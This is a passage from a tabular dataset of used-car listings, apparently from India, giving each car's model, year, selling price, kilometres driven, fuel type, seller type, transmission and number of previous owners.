mHawk,2008,300000,270000,Diesel,Individual,Manual,Third Owner +Skoda Fabia 1.2 TDI Active,2011,275000,60000,Diesel,Individual,Manual,Second Owner +Maruti Zen Estilo Sports,2009,180000,41090,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2012,225000,296823,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,200000,40000,Petrol,Individual,Manual,First Owner +Toyota Corolla Altis G,2011,500000,40000,Petrol,Individual,Manual,Second Owner +Ford Fiesta 1.6 Duratec S,2010,300000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 CRDi SX,2015,765000,80000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2017,650000,90000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Plus Optional,2017,380000,19000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,480000,110000,Diesel,Individual,Manual,Second Owner +Mahindra Jeep MM 540,1996,200000,60000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Plus Optional,2017,380000,19000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo LXI Green (CNG),2010,145000,68000,CNG,Individual,Manual,Second Owner +Maruti Ritz VDi,2011,280000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2014,254999,30000,Diesel,Individual,Manual,First Owner +Tata Bolt Revotron XE,2016,300000,90000,Petrol,Individual,Manual,Second Owner +Maruti Swift VDI BSIV,2015,480000,140000,Diesel,Individual,Manual,Third Owner +Skoda Rapid Monte Carlo 1.6 MPI AT BSIV,2017,850000,44500,Petrol,Individual,Automatic,First Owner +Hyundai i20 Asta 1.4 CRDi,2014,350000,52000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Active 1.2 SX,2016,650000,26000,Petrol,Individual,Manual,First Owner +Hyundai i20 Active 1.2 SX,2016,650000,26000,Petrol,Individual,Manual,First Owner +Tata New Safari 4X2,2007,550000,80000,Petrol,Individual,Manual,Second Owner +Maruti Celerio VXI,2015,300000,35000,Petrol,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2008,150000,60000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 Sportz,2014,300000,120000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing XG,2004,80000,58000,Petrol,Individual,Manual,First Owner +Tata Manza Club Class Quadrajet90 LS,2014,200000,100000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2016,220000,43700,Petrol,Individual,Manual,First Owner +Tata Indica GLS BS IV,2009,68000,120000,Petrol,Individual,Manual,Second Owner +Tata Manza ELAN Quadrajet BS IV,2011,180000,80000,Diesel,Individual,Manual,Third Owner +Hyundai EON Era Plus,2017,290000,20000,Petrol,Individual,Manual,First Owner +Maruti Eeco 5 Seater AC BSIV,2018,300000,25000,Petrol,Individual,Manual,First Owner +Honda City i DTec SV,2014,600000,27483,Diesel,Dealer,Manual,First Owner +Maruti Swift LXI,2019,470000,8000,Petrol,Individual,Manual,First Owner +Hyundai i10 Sportz 1.2,2008,150000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift VVT VXI,2017,400000,30000,Petrol,Individual,Manual,First Owner +Ford Fiesta 1.4 ZXi TDCi ABS,2009,110000,100000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Alto 800 LXI,2014,180000,56207,Petrol,Dealer,Manual,Second Owner +Hyundai i20 Sportz Petrol,2010,250000,40000,Petrol,Individual,Manual,First Owner +Maruti Zen LXI,2006,80000,70000,Petrol,Individual,Manual,First Owner +Honda WR-V i-VTEC VX,2018,875000,1440,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 Sportz,2015,425000,12000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2019,300000,50000,Petrol,Individual,Manual,First Owner +Honda Amaze VX i-DTEC,2016,700000,35000,Diesel,Individual,Manual,First Owner +Maruti Zen Estilo VXI BSIV,2010,130000,50000,Petrol,Individual,Manual,Second Owner +Maruti Ertiga SHVS ZDI Plus,2017,1000000,60000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire ZDI,2017,650000,67000,Diesel,Individual,Manual,First Owner +Renault Duster Petrol RxL,2013,400000,100000,Petrol,Individual,Manual,Second Owner +Mahindra TUV 300 mHAWK100 T8,2017,800000,60000,Diesel,Individual,Manual,First Owner +Mahindra Bolero Power Plus SLX,2017,675000,70000,Diesel,Individual,Manual,First Owner +Maruti Omni E MPI STD BS IV,2017,210000,50000,Petrol,Individual,Manual,Fourth & Above Owner +Tata New Safari DICOR 2.2 EX 4x2,2009,150000,120000,Diesel,Individual,Manual,Third Owner +Maruti Omni CNG,2007,45000,100000,CNG,Individual,Manual,Fourth & Above Owner +Hyundai i20 Sportz 1.2,2015,516000,90000,Petrol,Individual,Manual,First Owner +Hyundai i20 Sportz 1.2,2014,450000,80000,Petrol,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2012,134000,90000,Petrol,Individual,Manual,Second Owner +Toyota Etios VD,2014,509999,157000,Diesel,Individual,Manual,Second Owner +Volkswagen Polo 1.2 MPI Comfortline,2016,500000,20000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo 1.1 LXI BSIII,2008,130000,80000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Swift ZDi BSIV,2015,575000,60000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Sportz Plus BSIV,2015,550000,49000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Terra TDI BSIII,2009,145000,89255,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2020,347000,5000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Quadrajet VX,2013,275000,110000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 V Diesel 8-seater,2010,630000,200000,Diesel,Individual,Manual,Third Owner +Chevrolet Beat Diesel,2012,160000,90000,Diesel,Individual,Manual,Second Owner +Fiat Grande Punto 1.3 Dynamic (Diesel),2010,150000,63000,Diesel,Individual,Manual,Third Owner +Honda Mobilio S i VTEC,2015,550000,23000,Petrol,Individual,Manual,First Owner +Mahindra Quanto C6,2013,349000,100000,Diesel,Individual,Manual,First Owner +Mahindra Bolero DI DX 8 Seater,2004,229999,168000,Diesel,Individual,Manual,Fourth & Above Owner +Tata Indica Vista Aqua 1.4 TDI,2008,110000,90000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R LXI Minor,2008,110000,70000,Petrol,Individual,Manual,Third Owner +Renault KWID RXE,2018,245000,5550,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 VXI,2014,180000,100000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2014,290000,80000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Magna,2010,250000,40000,Petrol,Individual,Manual,First Owner +Tata Indigo TDI,2010,150000,100000,Diesel,Individual,Manual,First Owner +Maruti 800 AC BSII,2004,55000,35000,Petrol,Individual,Manual,Third Owner +Skoda Laura L n K 1.9 PD,2006,500000,75000,Diesel,Individual,Manual,Second Owner +Mahindra Quanto C4,2013,290000,150000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai Santro Magna AMT BSIV,2019,400000,16000,Petrol,Individual,Automatic,First Owner +Maruti Alto STD,2009,72000,70000,Petrol,Individual,Manual,First Owner +Maruti Ritz VDi,2014,250000,115000,Diesel,Individual,Manual,First Owner +Maruti Swift AMT VXI,2019,575000,25000,Petrol,Individual,Automatic,First Owner +Kia Seltos HTK Plus AT D,2019,1300000,10000,Diesel,Individual,Automatic,First Owner +Hyundai Santro Magna BSIV,2019,425000,15000,Petrol,Individual,Manual,First Owner +Maruti Eeco CNG 5 Seater AC BSIV,2019,470000,10000,CNG,Individual,Manual,First Owner +Toyota Etios VX,2012,220000,80000,Petrol,Individual,Manual,Third Owner +Maruti Alto 800 LXI,2020,310000,1700,Petrol,Individual,Manual,First Owner +Ford Figo 1.5D Trend MT,2016,400000,45217,Diesel,Dealer,Manual,First Owner +Volkswagen Vento Diesel Comfortline,2012,215000,97000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2018,310000,20000,Petrol,Individual,Manual,First Owner +Maruti Ciaz ZDi Plus SHVS,2017,750000,50000,Diesel,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2009,204999,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift 1.3 VXi,2010,260000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2012,180000,40000,Petrol,Individual,Manual,Second Owner +Mahindra Renault Logan 1.5 DLE Diesel,2007,125000,110000,Diesel,Individual,Manual,Second Owner +Maruti Swift VDI BSIV,2014,420000,155000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 LXI,2011,220000,70000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 2010-2014 VXI,2010,200000,70000,Petrol,Individual,Manual,Third Owner +Ford Ikon 1.4 TDCi DuraTorq,2009,130000,100000,Diesel,Individual,Manual,Third Owner +Tata Tiago XT,2016,335000,41000,Petrol,Dealer,Manual,First Owner +Ford Endeavour Titanium Plus 4X4,2017,2650000,60000,Diesel,Dealer,Automatic,First Owner +Ford Endeavour 3.2 Titanium AT 4X4,2018,2675000,56000,Diesel,Dealer,Automatic,First Owner +Ford Endeavour Titanium Plus 4X4,2017,2675000,60000,Diesel,Dealer,Automatic,First Owner +Honda City V AT,2011,434999,97000,Petrol,Dealer,Automatic,Second Owner +Honda City i VTEC S,2014,500000,60000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI Airbag,2017,290000,60000,Petrol,Individual,Manual,First Owner +Ford Ecosport 1.5 Ti VCT AT Titanium,2014,475000,48000,Petrol,Dealer,Automatic,Second Owner +Maruti Swift Dzire VDi,2009,270000,190000,Diesel,Individual,Manual,Third Owner +Hyundai Xcent 1.2 VTVT S,2019,600000,80000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta 1.4 CRDi,2013,300000,70000,Diesel,Individual,Manual,Second Owner +Volkswagen Jetta 2.0L TDI Comfortline,2012,415000,80000,Diesel,Individual,Manual,Second Owner +Maruti Vitara Brezza ZDi Plus AMT,2018,800000,30000,Diesel,Individual,Automatic,Second Owner +Hyundai Grand i10 Sportz,2016,420000,44440,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.6 CRDi SX Plus,2018,1250000,30000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2011,270000,120000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Sportz,2015,390000,80000,Diesel,Individual,Manual,Second Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,400000,110000,Diesel,Individual,Manual,First Owner +Ford Fiesta 1.4 ZXi Leather,2007,100000,170000,Petrol,Individual,Manual,First Owner +Audi A6 2.7 TDI,2010,850000,46000,Diesel,Individual,Automatic,First Owner +Chevrolet Cruze LTZ AT,2012,359000,120000,Diesel,Individual,Automatic,Third Owner +Maruti Swift Dzire ZDI,2015,470000,91365,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2013,360000,90010,Diesel,Dealer,Manual,Second Owner +Maruti Ertiga VDI,2013,250999,80000,Diesel,Individual,Manual,First Owner +Tata Nano Lx BSIV,2012,45000,35000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BSII,2006,75000,80000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2013,495000,31800,Diesel,Dealer,Manual,First Owner +Maruti Wagon R CNG LXI,2013,310000,59100,CNG,Dealer,Manual,First Owner +Honda Jazz 1.2 V i VTEC,2016,540000,31200,Petrol,Dealer,Manual,First Owner +Maruti Ciaz VDi Plus SHVS,2016,665000,51000,Diesel,Dealer,Manual,First Owner +Hyundai i20 Magna 1.4 CRDi (Diesel),2013,425000,22700,Diesel,Dealer,Manual,Second Owner +Audi A4 2.0 TDI,2011,1295000,58000,Diesel,Dealer,Automatic,First Owner +Maruti Ciaz VDI SHVS,2016,675000,50900,Diesel,Dealer,Manual,First Owner +Maruti Vitara Brezza ZDi Plus Dual Tone,2018,980000,10000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel LS,2014,320000,60000,Diesel,Individual,Manual,First Owner +Maruti Ritz VXI,2011,250000,80000,Petrol,Individual,Manual,Second Owner +Maruti Baleno Zeta 1.3,2016,600000,72000,Diesel,Individual,Manual,First Owner +Hyundai Xcent 1.2 Kappa S,2016,300000,96000,Petrol,Individual,Manual,First Owner +Chevrolet Beat Diesel LS,2014,305000,66000,Diesel,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 GX 4x2 BS IV,2012,270000,80000,Diesel,Individual,Manual,Second Owner +Renault Fluence 1.5,2012,300000,90000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2009,106000,70000,Petrol,Individual,Manual,First Owner +Hyundai Accent GLS 1.6 ABS,2006,90000,75000,Petrol,Individual,Manual,Third Owner +Tata Tiago 1.2 Revotron XZ,2019,539000,2417,Petrol,Individual,Manual,First Owner +Ford Fiesta 1.4 ZXi TDCi ABS,2009,110000,100000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai EON Era Plus Option,2016,250000,30000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Asta (o),2009,300000,50000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio BSIV,2018,707000,60000,Diesel,Individual,Manual,First Owner +Hyundai Getz GLS,2007,95000,120000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Eeco CNG 5 Seater AC BSIV,2020,495000,7000,CNG,Individual,Manual,First Owner +Tata Indigo TDI,2012,200000,35000,Diesel,Individual,Manual,First Owner +Maruti A-Star Vxi,2009,110000,110000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Alto LXi,2008,100000,130000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Alto 800 LX,2016,150000,25000,Petrol,Individual,Manual,Second Owner +Toyota Etios 1.5 V,2016,509999,35000,Petrol,Individual,Manual,First Owner +Ford Ikon 1.3 Flair,2005,50000,80000,Petrol,Individual,Manual,Third Owner +Chevrolet Aveo 1.4,2007,85000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna BSIV,2018,475000,23000,Petrol,Individual,Manual,First Owner +Volkswagen Polo 1.2 MPI Highline,2014,425000,40000,Petrol,Individual,Manual,First Owner +BMW 5 Series 530i,2006,480000,110000,Petrol,Individual,Automatic,Second Owner +Maruti S-Cross Delta DDiS 200 SH,2019,950000,10000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2015,535000,80000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi SX ABS,2009,325000,25000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R Stingray VXI,2013,270000,74000,Petrol,Individual,Manual,Third Owner +Maruti Celerio VXI,2015,300000,60000,Petrol,Individual,Manual,Third Owner +Volkswagen Vento Diesel Trendline,2011,325000,70000,Diesel,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2010,350000,100000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi SX,2008,229999,146000,Diesel,Individual,Manual,Third Owner +Maruti Swift Dzire LDi,2012,325000,120000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R LXI,2005,70000,70000,Petrol,Individual,Manual,Second Owner +Skoda Laura Ambiente,2008,190000,120000,Diesel,Individual,Manual,Third Owner +Chevrolet Cruze LTZ,2011,345000,65500,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S10,2016,1025000,70000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2012,120000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2009,114999,90000,Petrol,Individual,Manual,Second Owner +Honda City 1.5 S MT,2009,300000,120000,Petrol,Individual,Manual,Second Owner +Maruti Celerio VXI,2016,340000,56000,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI,2005,90000,70000,Petrol,Individual,Manual,Second Owner +Maruti Alto LX,2006,150000,140300,Petrol,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2010,115999,70000,Petrol,Individual,Manual,First Owner +Toyota Etios Liva 1.4 VD,2017,425000,36000,Diesel,Dealer,Manual,First Owner +Honda Amaze VX O iDTEC,2017,550000,12997,Diesel,Dealer,Manual,First Owner +Maruti Ciaz 1.4 AT Zeta,2017,500000,40000,Petrol,Individual,Automatic,First Owner +Mahindra Quanto C8,2013,300000,25000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 SX Option,2018,1150000,26430,Diesel,Dealer,Manual,First Owner +Maruti Swift 1.3 VXI ABS,2015,475000,24600,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI,2011,260000,28481,Petrol,Dealer,Manual,First Owner +Ford Ecosport 1.0 Ecoboost Titanium Optional,2013,350000,100000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2013,750000,41988,Diesel,Dealer,Manual,First Owner +Renault KWID Climber 1.0 AMT BSIV,2017,350000,7658,Petrol,Dealer,Automatic,First Owner +Maruti Wagon R LXI,2009,180000,30375,Petrol,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,611000,34400,Diesel,Dealer,Manual,First Owner +Renault KWID RXL BSIV,2017,325000,18500,Petrol,Dealer,Manual,First Owner +Hyundai EON 1.0 Era Plus,2012,225000,48000,Petrol,Dealer,Manual,First Owner +Maruti Wagon R AMT VXI,2014,300000,28942,Petrol,Dealer,Automatic,First Owner +Mahindra Bolero Power Plus SLX,2017,400000,50000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W8 2WD,2012,711000,53600,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2015,851000,53652,Diesel,Dealer,Manual,First Owner +Maruti Wagon R VXI,2016,375000,23000,Petrol,Dealer,Manual,Second Owner +Maruti Zen Estilo LXI BSIII,2007,275000,10211,Petrol,Individual,Manual,First Owner +Mahindra Scorpio 2.6 SLX Turbo 7 Seater,2005,120000,120000,Diesel,Individual,Manual,Third Owner +Maruti Celerio ZDi,2015,350000,120000,Diesel,Individual,Manual,First Owner +Maruti Celerio ZXI,2017,409999,35000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2012,500000,130000,Diesel,Individual,Manual,First Owner +Nissan Sunny Diesel XL,2013,220000,90000,Diesel,Individual,Manual,Second Owner +Ford Fiesta 1.6 Duratec EXI Ltd,2008,120000,80000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XK,2007,70000,55000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire ZXI Plus,2017,800000,15000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,450000,260000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio SLE BSIV,2012,525000,145000,Diesel,Individual,Manual,First Owner +Datsun GO Plus Remix Limited Edition,2016,300000,35000,Petrol,Individual,Manual,First Owner +Hyundai i10 Magna,2008,195000,56000,Petrol,Individual,Manual,Second Owner +Ford Fiesta Classic 1.4 SXI Duratorq,2007,130000,98000,Diesel,Individual,Manual,Second Owner +Toyota Etios VD,2011,300000,135000,Diesel,Individual,Manual,Second Owner +Maruti Alto VXi,2002,120000,60000,Petrol,Individual,Manual,Third Owner +Toyota Innova 2.5 G3,2010,450000,120000,Diesel,Individual,Manual,Third Owner +Tata Indigo LS,2010,160000,102000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2018,800000,35000,Diesel,Individual,Manual,First Owner +Maruti 800 AC,2013,100000,80000,Petrol,Individual,Manual,First Owner +Volkswagen Polo GTI,2017,825000,13599,Petrol,Dealer,Automatic,First Owner +Maruti Alto 800 LXI,2015,265000,32933,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI,2008,175000,54551,Petrol,Dealer,Manual,First Owner +Maruti Omni 8 Seater BSIV,2014,250999,57112,Petrol,Dealer,Manual,First Owner +Hyundai Xcent 1.2 VTVT S AT,2015,471000,41025,Petrol,Dealer,Automatic,First Owner +Maruti Swift Dzire LDI,2019,650000,5000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire LDI,2019,650000,5000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna,2012,225000,53122,Petrol,Dealer,Manual,Second Owner +Maruti Alto 800 LXI CNG,2013,245000,64111,CNG,Dealer,Manual,First Owner +Maruti Ritz LXi,2011,221000,78892,Petrol,Dealer,Manual,First Owner +Hyundai i20 1.2 Asta,2011,271000,74113,Petrol,Dealer,Manual,First Owner +Maruti Wagon R VXI,2012,290000,80000,Petrol,Dealer,Manual,First Owner +Maruti Swift VXi BSIV,2017,525000,39000,Petrol,Dealer,Manual,First Owner +Volkswagen Vento 1.6 Highline,2012,377000,84775,Petrol,Dealer,Manual,First Owner +Tata Nano LX SE,2012,95000,20778,Petrol,Dealer,Manual,First Owner +Maruti Ertiga VDI,2015,763000,64441,Diesel,Dealer,Manual,First Owner +Honda Amaze S i-Vtech,2015,450000,43192,Petrol,Dealer,Manual,First Owner +Tata Nano Twist XE,2014,140000,44416,Petrol,Dealer,Manual,First Owner +Maruti Ciaz VDi Plus SHVS,2016,701000,79991,Diesel,Dealer,Manual,First Owner +Nissan Micra Diesel XV,2011,277000,62601,Diesel,Dealer,Manual,Second Owner +Maruti Baleno Delta Automatic,2018,520000,50000,Petrol,Individual,Automatic,First Owner +Ford Figo Aspire 1.5 TDCi Ambiente ABS,2017,550000,100000,Diesel,Individual,Manual,First Owner +Volkswagen Vento Diesel Highline,2011,260000,97000,Diesel,Individual,Manual,Third Owner +Renault Pulse RxZ,2015,420000,100000,Diesel,Individual,Manual,First Owner +OpelCorsa 1.4 GL,2002,35000,100000,Petrol,Individual,Manual,Third Owner +Mahindra XUV500 W7 BSIV,2018,1150000,20000,Diesel,Individual,Manual,First Owner +Maruti Ciaz 1.4 Zeta,2017,680000,46000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2012,425000,40000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire LDI,2014,450000,70000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 8 Seater BS IV,2008,590000,89600,Diesel,Individual,Manual,Third Owner +Volkswagen Jetta 1.4 TSI Comfortline,2017,936999,60800,Petrol,Individual,Manual,First Owner +Honda Mobilio S i DTEC,2015,420000,104000,Diesel,Individual,Manual,Second Owner +Volkswagen Polo 1.5 TDI Highline,2014,450000,80000,Diesel,Individual,Manual,Second Owner +Maruti 800 AC,2004,40000,69111,Petrol,Individual,Manual,Third Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2014,520000,70000,Diesel,Individual,Manual,Second Owner +Maruti 800 AC,2007,80000,120000,Petrol,Individual,Manual,First Owner +Tata Nano CX,2014,55000,40000,Petrol,Individual,Manual,First Owner +Mahindra Bolero DI DX 7 Seater,2001,80000,100000,Diesel,Individual,Manual,Third Owner +Maruti Alto 800 LXI,2019,210000,20000,Petrol,Individual,Manual,First Owner +Ford Figo Petrol Titanium,2015,300000,50000,Petrol,Individual,Manual,Second Owner +Tata Tiago 1.05 Revotorq XM,2017,260000,50000,Diesel,Individual,Manual,First Owner +Tata Zest Quadrajet 1.3,2016,250000,70000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Aqua TDI BSIII,2008,80000,90000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 GX (Diesel) 7 Seater BS IV,2010,450000,150000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2005,310000,120000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 8 Seater,2012,500000,100000,Diesel,Individual,Manual,First Owner +Maruti Ertiga SHVS VDI,2016,800000,70000,Diesel,Individual,Manual,Second Owner +Hyundai Creta 1.6 CRDi SX,2016,840000,70000,Diesel,Individual,Manual,Second Owner +Honda Amaze S i-Vtech,2016,490000,50000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aqua 1.4 TDI,2010,125000,81000,Diesel,Individual,Manual,Second Owner +Chevrolet Tavera Neo 2 LS B4 7 Str BSIII,2012,400000,120000,Diesel,Individual,Manual,Third Owner +Chevrolet Cruze LTZ,2015,1000000,3600,Diesel,Dealer,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Titanium Plus,2015,530000,14272,Petrol,Dealer,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2017,840000,49213,Diesel,Dealer,Manual,First Owner +Hyundai i10 Sportz 1.1L,2015,229999,40000,Petrol,Individual,Manual,First Owner +Maruti 800 Std,1998,40000,40000,Petrol,Individual,Manual,Fourth & Above Owner +Chevrolet Spark 1.0 LS,2012,130000,80000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2015,200000,70000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aqua TDI BSIII,2011,120000,70000,Diesel,Individual,Manual,First Owner +Hyundai Santro LP zipPlus,2003,75000,57000,Petrol,Individual,Manual,First Owner +Tata Bolt Quadrajet XE,2016,250000,120000,Diesel,Individual,Manual,First Owner +Maruti 800 AC BSIII,2005,100000,30000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2013,280000,3240,Petrol,Individual,Manual,Second Owner +Hyundai i20 Magna 1.2,2015,540000,5000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.2 Asta,2018,700000,10000,Petrol,Individual,Manual,First Owner +Ford Figo Petrol EXI,2014,350000,90000,Petrol,Individual,Manual,Second Owner +Maruti SX4 VDI,2011,320000,100000,Diesel,Individual,Manual,First Owner +Honda Amaze S i-DTEC,2016,475000,90000,Diesel,Individual,Manual,First Owner +Tata Manza Aura (ABS) Quadrajet BS IV,2011,220000,140000,Diesel,Individual,Manual,Second Owner +Nissan Micra Diesel XV Premium,2013,210000,13770,Diesel,Individual,Manual,First Owner +Ford Ikon 1.3 Flair,2005,61000,4637,Petrol,Individual,Manual,Second Owner +Skoda Superb Elegance 2.0 TDI CR AT,2009,355000,100000,Diesel,Individual,Automatic,Second Owner +Chevrolet Beat Diesel LT,2012,150000,60000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LX,2011,133000,80000,Diesel,Individual,Manual,First Owner +Chevrolet Cruze LTZ AT,2015,650000,50000,Diesel,Individual,Automatic,First Owner +Nissan Micra XL,2014,210000,40000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat Diesel LS,2013,130000,93900,Diesel,Individual,Manual,Second Owner +Maruti 800 AC,2007,60000,70000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio 2.6 SLX Turbo 7 Seater,2005,120000,120000,Diesel,Individual,Manual,Third Owner +BMW 5 Series 520d Luxury Line,2017,2900000,40000,Diesel,Individual,Automatic,First Owner +Hyundai Accent CRDi,2005,100000,120000,Diesel,Individual,Manual,Second Owner +Maruti Zen VXi - BS III,2004,79000,80000,Petrol,Individual,Manual,First Owner +Chevrolet Beat Diesel LS,2012,120000,110000,Diesel,Individual,Manual,First Owner +Maruti Zen LXi - BS III,2005,125000,34000,Petrol,Dealer,Manual,First Owner +Chevrolet Enjoy 1.3 TCDi LS 8,2013,425000,20000,Diesel,Dealer,Manual,First Owner +Maruti Wagon R LXI,2001,70000,117000,Petrol,Individual,Manual,Second Owner +Maruti Swift VXI,2020,619000,1500,Petrol,Individual,Manual,First Owner +Nissan Micra XL,2017,415000,48965,Petrol,Dealer,Manual,First Owner +Hyundai EON Era Plus Option,2014,265000,55000,Petrol,Dealer,Manual,First Owner +Tata Indica GLS BS IV,2008,70000,60000,Petrol,Individual,Manual,First Owner +Chevrolet Sail Hatchback 1.3 TCDi,2015,281000,40000,Diesel,Individual,Manual,First Owner +Tata Indigo Grand Dicor,2013,211000,80000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Petrol Magna Exective,2018,550000,11000,Petrol,Individual,Manual,First Owner +Chevrolet Enjoy TCDi LT 8 Seater,2014,350000,110000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI AMT,2017,420000,19890,Petrol,Dealer,Automatic,First Owner +Renault KWID RXT,2015,270000,20969,Petrol,Dealer,Manual,First Owner +Maruti Celerio VXI,2016,399000,20194,Petrol,Dealer,Manual,First Owner +Ford Figo Trend,2016,440000,34982,Petrol,Dealer,Manual,First Owner +Hyundai EON Magna,2012,250000,44588,Petrol,Dealer,Manual,First Owner +Ford Ecosport 1.5 Diesel Titanium,2016,650000,57904,Diesel,Dealer,Manual,First Owner +Maruti Alto K10 VXI,2015,270000,59258,Petrol,Dealer,Manual,First Owner +Ford Figo Trend,2016,390000,60826,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 W10 2WD,2018,1500000,50000,Diesel,Individual,Manual,First Owner +Maruti 800 AC,2014,225000,35000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2015,900000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Tucson 2.0 e-VGT 2WD AT GL,2018,1600000,40000,Diesel,Individual,Automatic,First Owner +Tata Nexon 1.2 Revotron XZ Plus Dual Tone,2019,800000,10000,Petrol,Individual,Manual,First Owner +Honda Amaze E i-Dtech,2013,320000,50000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2016,300000,25000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.2 Asta Dual Tone,2018,740000,25000,Petrol,Individual,Manual,First Owner +Datsun RediGO SV 1.0,2019,350000,1300,Petrol,Individual,Manual,First Owner +Datsun GO T BSIV,2014,280000,40000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire AMT VDI,2018,675000,50000,Diesel,Individual,Automatic,First Owner +Hyundai i10 Era 1.1 iTech SE,2011,300000,20000,Petrol,Individual,Manual,First Owner 